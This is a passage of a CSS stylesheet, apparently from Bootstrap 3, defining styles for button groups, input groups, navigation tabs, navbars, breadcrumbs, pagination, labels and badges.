.btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group .form-control:focus {\n z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #fff;\n border: 1px solid #ddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #fff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777;\n}\n.navbar-default .navbar-link:hover {\n color: #333;\n}\n.navbar-default .btn-link {\n color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #ccc;\n}\n.navbar-inverse {\n background-color: #222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #fff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #fff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #fff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #fff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #ccc;\n}\n.breadcrumb > .active {\n color: #777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #fff;\n border: 1px solid #ddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 2;\n color: #23527c;\n background-color: #eeeeee;\n border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 3;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #fff;\n border-color: #ddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #fff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #fff;\n line-height: 1;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 